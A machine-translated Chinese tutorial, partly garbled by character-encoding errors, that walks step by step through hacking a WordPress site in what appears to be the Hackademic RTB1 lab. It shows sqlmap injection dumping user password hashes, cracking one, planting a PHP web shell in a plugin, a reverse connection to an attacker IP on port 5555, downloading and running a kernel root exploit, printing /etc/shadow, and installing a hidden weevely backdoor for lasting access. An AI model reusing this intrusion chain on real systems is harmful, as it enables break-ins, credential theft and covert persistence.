实操教程:黑客如何瞄准和入侵网站的
這個(gè)問題的答案可能很難確定,僅僅是因?yàn)橛泻芏喾椒梢匀肭忠粋€(gè)網(wǎng)站。我們在本文中的目的是向您展示黑客在定位和入侵您的網(wǎng)站時(shí)最常用的技術(shù)!
假設(shè)這是您的站點(diǎn):hack-test.com
讓我們ping這個(gè)站點(diǎn)來獲取服務(wù)器IP:
現(xiàn)在我們有 173.236.138.113 - 這是我們的目標(biāo)站點(diǎn)托管的服務(wù)器 IP。
要查找托管在同一服務(wù)器上的其他站點(diǎn),我們將使用 sameip.org:
托管在 IP 地址 173.236.138.113 上的相同 IP
 26 站點(diǎn)
ID 領(lǐng)域 網(wǎng)站鏈接
 
我們需要有關(guān)您網(wǎng)站的更多信息,例如:
DNS 記錄(A、NS、TXT、MX 和 SOA)
 Web 服務(wù)器類型(Apache、IIS、Tomcat)
 注冊商(擁有您的域名的公司)
 您的姓名、地址、電子郵件和電話
 您的站點(diǎn)使用的腳本(php、asp、asp.net、jsp、cfm)
 您的服務(wù)器操作系統(tǒng)(Unix、Linux、Windows、Solaris)
 您的服務(wù)器打開 Internet 端口(80、443、21 等)
 讓我們從查找您站點(diǎn)的 DNS 記錄開始。我們將使用“Who.is”網(wǎng)站來實(shí)現(xiàn)這一目標(biāo):
我們發(fā)現(xiàn)您的站點(diǎn) DNS 記錄是:
HACK-TEST.COM DNS 記錄
 
 讓我們確定 Web 服務(wù)器類型:
如您所見,您的站點(diǎn) Web 服務(wù)器是 Apache。我們將在稍后確定其版本。
HACK-TEST.COM 網(wǎng)站信息
IP:173.236.138.113
 網(wǎng)站狀態(tài):活動(dòng)
 服務(wù)器類型:Apache
 Alexa 趨勢/排名:1 個(gè)月:3,213,968 3 個(gè)月:2,161,753
 每次訪問頁面瀏覽量:1 個(gè)月:2.0 3 個(gè)月:3.7
現(xiàn)在是時(shí)候找到您的 Doman Registrar 以及您的姓名、地址、電子郵件和電話:
我們現(xiàn)在已經(jīng)獲得了您的注冊商和其他有關(guān)您的重要信息。我們可以使用 backtrack 5 R1 中名為 Whatweb 的酷工具找到您站點(diǎn)上的腳本類型(操作系統(tǒng)類型、Web 服務(wù)器版本):
現(xiàn)在我們發(fā)現(xiàn)您的站點(diǎn)正在使用一個(gè)名為 WordPress 的著名 php 腳本,您的服務(wù)器操作系統(tǒng)是 Fedora Linux,您的 Web 服務(wù)器版本是 (apache 2.2.15),讓我們在您的服務(wù)器中找到開放的端口。
為此,我們將使用 nmap:
1 – 查找在服務(wù)器上運(yùn)行的服務(wù)
[源代碼]
root@bt:/# nmap -sV hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.0013s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) MAC Address: 00:0C:29:01:8A:4D (VMware)Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds[源代碼]
root@bt:/# nmap -O hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.00079s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp closed ssh80/tcp open http MAC Address: 00:0C:29:01:8A:4D (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.22 (Fedora Core 6) Network Distance: 1 hopOS detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds [/sourcecode]Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities likeSql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.We will use Nikto.pl to gather info, perhaps, some vulnerabilities:[sourcecode] root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com– Nikto v2.1.4—————————————————————————+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03—————————————————————————+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)—————————————————————————+ 1 host(s) tested [/sourcecode]We will also use W3AF. You can find this tool in backtrack 5 R1[sourcecode] root@bt:/pentest/web/w3af# ./w3af_guiStarting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0w3af – Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team.[源代碼]
root@bt:/pentest/web/w3af# ./w3af_guiStarting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0w3af – Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team. w3af – Web我們將插入我們的站點(diǎn) URL 并選擇完整審核選項(xiàng):
一段時(shí)間后,掃描將完成,您將看到
您的站點(diǎn)容易受到 sql 注入、xss 和其他攻擊!
我們來調(diào)查一下sql注入漏洞:
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
這是易受攻擊的 url,cat 是易受攻擊的參數(shù)。
那么,讓我們利用這個(gè)漏洞:
我們會(huì)發(fā)現(xiàn)利用這個(gè)漏洞失敗了,所以我們將使用sqlmap到j(luò)ob中并轉(zhuǎn)儲(chǔ)我們需要破解這個(gè)站點(diǎn)的所有數(shù)據(jù)庫信息J
將 sqlmap 與 –u url 一起使用
幾秒鐘后你會(huì)看到
輸入 n 并按回車鍵繼續(xù)
如您所見,您的站點(diǎn)容易受到基于錯(cuò)誤的 sql 注入的攻擊,并且您的 mysql 數(shù)據(jù)庫版本為 5
讓我們通過添加“-dbs”來查找您站點(diǎn)中的所有數(shù)據(jù)庫
現(xiàn)在我們找到了 3 個(gè)數(shù)據(jù)庫
我們將通過添加“–D wordpress –tables”來轉(zhuǎn)儲(chǔ) wordpress 數(shù)據(jù)庫表
我們會(huì)找到所有的 wordpress 表格
我們要轉(zhuǎn)儲(chǔ)“wp_users”表,所以我們會(huì)找到所有用戶(admin?)信息(用戶名和密碼hash)并嘗試破解hash并進(jìn)入wordpress控制面板(wp-admin)
我們將“wp_users”表的列添加“-T wp_users –columns”
我們會(huì)找到 22 列
我們只需要轉(zhuǎn)儲(chǔ)到列,因此我們將通過添加轉(zhuǎn)儲(chǔ)(user_login 和 user_pass)列
-C user_login,user_pass –dump
我們會(huì)找到重要的信息;我們現(xiàn)在找到了用戶并傳遞了哈希值
但我們想破解這些哈希來清除文本密碼。我們將使用在線網(wǎng)站“ http://www.onlinehashcrack.com/free-hash-reverse.php ”
并嘗試破解這個(gè)哈希7CBB3252BA6B7E9C422FAC5334D22054
明文密碼是q1w2e3
用戶名為“GeorgeMiller”
我們將在“wp-admin”中使用這些詳細(xì)信息登錄
我們在!
好的,讓我們嘗試上傳 php web shell 以在您的站點(diǎn)服務(wù)器上運(yùn)行一些 linux 命令J
我們將在 wordpress 中編輯一個(gè)名為“ Textile ”的插件或您在插件頁面中找到的任何插件。
并選擇編輯它
我們將插入 php web shell 而不是真正的插件。完成此操作后,我們將點(diǎn)擊“更新文件”并瀏覽到我們的新 php shell
哇,php shell 有效。現(xiàn)在我們可以操作您的站點(diǎn)文件,但我們只想在您的服務(wù)器上獲得 root 權(quán)限并入侵所有其他站點(diǎn)。
我們將從php web shell中選擇“back-connect”選項(xiàng)卡,并在端口“5555”上重新連接到我們的ip“192.168.1.6”
但是在我們點(diǎn)擊連接之前,我們首先讓 netcat 監(jiān)聽攻擊者機(jī)器上的“5555”端口
現(xiàn)在點(diǎn)擊連接,你會(huì)看到:
讓我們嘗試一些 linux 命令
[源代碼]
 id
uid=48(apache) gid=489(apache) 組=489(apache)
密碼
/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
 [/ sourcecode ]
id 命令用于向我們顯示用戶 id、組。
pwd 命令用于向我們顯示我們在服務(wù)器上的當(dāng)前路徑
uname –a 命令用于向我們展示一些內(nèi)核版本信息
好的,現(xiàn)在我們知道服務(wù)器內(nèi)核版本是 2.6.31.5-127.fc12.1686
讓我們在exploit-db.com中搜索此版本或更新版本的exploit
我們將輸入“kernel 2.6.31”
 
這些都不符合要求,因?yàn)樗鼈兌疾皇翘貦?quán)升級漏洞。然而,下一個(gè)是。
http://www.exploit-db.com/exploits/15285
我打開這個(gè)網(wǎng)址并復(fù)制了這個(gè)鏈接
http://www.exploit-db.com/download/15285
并在我的 netcat shell 上執(zhí)行此命令
[源代碼]
wget http://www.exploit-db.com/download/15285 -O roro.c –2011-12-28 00:48:01– http://www.exploit-db.com/download/15285 Resolving www.exploit-db.com… 199.27.135.111, 199.27.134.111 Connecting to www.exploit-db.com|199.27.135.111|:80… connected. HTTP request sent, awaiting response… 301 Moved Permanently Location: http://www.exploit-db.com/download/15285/ [following] –2011-12-28 00:48:02– http://www.exploit-db.com/download/15285/ Connecting to www.exploit-db.com|199.27.135.111|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 7154 (7.0K) [application/txt] Saving to: `roro.c’0K …… 100% 29.7K=0.2s[/源代碼]
我們使用 wget 命令從exploit-db.com 獲取exploit,并使用-O 將其重命名為roro.c
注意: linux內(nèi)核漏洞利用主要是用c語言開發(fā)的,所以我們將其保存在.c擴(kuò)展名中,只需查看漏洞利用源代碼,您就會(huì)發(fā)現(xiàn)
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <string.h> #include <sys/ptrace.h> #include <sys/utsname.h> #define RECVPORT 5555 #define SENDPORT 6666 intprep_sock(intport) { ints, ret; structsockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf(“[*] Could not open socket.n”); exit(-1); } memset(&addr, 0, sizeof(addr));并通過鍵入運(yùn)行我們的漏洞利用
[源代碼]
./roro[*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses… [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer… [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses… [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer… [*] Triggering payload… [*] Restoring function pointer… [/sourcecode]然后我們輸入
Id
我們會(huì)發(fā)現(xiàn)我們是根J
uid=0(root) gid=0(root)
我們現(xiàn)在可以查看 /etc/shadow 文件
[sourcecode] cat /etc/shadow root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7::: bin:*:14495:0:99999:7::: daemon:*:14495:0:99999:7::: adm:*:14495:0:99999:7::: lp:*:14495:0:99999:7::: sync:*:14495:0:99999:7::: shutdown:*:14495:0:99999:7::: halt:*:14495:0:99999:7::: mail:*:14495:0:99999:7::: uucp:*:14495:0:99999:7::: operator:*:14495:0:99999:7::: games:*:14495:0:99999:7::: gopher:*:14495:0:99999:7::: ftp:*:14495:0:99999:7::: nobody:*:14495:0:99999:7::: vcsa:!!:14557:::::: avahi-autoipd:!!:14557:::::: ntp:!!:14557:::::: dbus:!!:14557:::::: rtkit:!!:14557:::::: nscd:!!:14557:::::: tcpdump:!!:14557:::::: avahi:!!:14557:::::: haldaemon:!!:14557:::::: openvpn:!!:14557:::::: apache:!!:14557:::::: saslauth:!!:14557:::::: mailnull:!!:14557:::::: smmsp:!!:14557:::::: smolt:!!:14557:::::: sshd:!!:14557:::::: pulse:!!:14557:::::: gdm:!!:14557:::::: p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7::: mysql:!!:14981:::::: [/sourcecode]And view /etc/passwd file[sourcecode]cat /etc/passwdroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin nscd:x:28:493:NSCD Daemon:/:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin haldaemon:x:68:491:HAL daemon:/:/sbin/nologin openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin apache:x:48:489:Apache:/var/www:/sbin/nologin saslauth:x:495:488:”Saslauthd user”:/var/empty/saslauth:/sbin/nologin mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin gdm:x:42:481::/var/lib/gdm:/sbin/nologin p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash[/sourcecode]我們可以破解所有用戶密碼 “john the ripper”工具。
   
 但是我們不會(huì)這樣做;我們要保持訪問這個(gè)服務(wù)器我們可以任何時(shí)間來訪問/黑客J
   
 我們將使用weevely小和php編碼與密碼保護(hù)和上傳這個(gè)php后門后門到我們的服務(wù)器。
   
 讓我們干起來吧
1 - weevely使用選項(xiàng) :
[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py –Weevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/Usage: main.py [options]Options:-h, –help show this help message and exit -g, –generate Generate backdoor crypted code, requires -o and -p . -o OUTPUT, –output=OUTPUT Output filename for generated backdoor . -c COMMAND, –command=COMMAND Execute a single command and exit, requires -u and -p . -t, –terminal Start a terminal-like session, requires -u and -p . -C CLUSTER, –cluster=CLUSTER Start in cluster mode reading items from the give file, in the form ‘label,url,password’ where label is optional. -p PASSWORD, –password=PASSWORD Password of the encrypted backdoor . -u URL, –url=URL Remote backdoor URL . [/sourcecode]2.用weevely創(chuàng)建一個(gè)密碼為koko的php后門
[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p kokoWeevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/+ Backdoor file ‘hax.php’ created with password ‘koko’.[/sourcecode]3 - php后門上傳到服務(wù)器使用php web層
接下來上傳到服務(wù)器之后來使用它
[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p kokoWeevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/+ Using method ‘system()’. + Retrieving terminal basic environment variables .[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins] [/sourcecode]測試我們的 hax.php 后門
結(jié)論:
 在本文中,我們學(xué)習(xí)了一些黑客正在使用的技術(shù)來定位和入侵您的網(wǎng)站和服務(wù)器。我希望你喜歡這篇文章并喜歡它。
 
 
 【騰訊文檔】贈(zèng)送價(jià)值11980安全學(xué)習(xí)資料包!【點(diǎn)擊獲取】
總結(jié)
以上是生活随笔為你收集整理的实操教程:黑客如何瞄准和入侵网站的的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: amoeba mysql proxy_m
- 下一篇: 大数据应用之 --- apache do
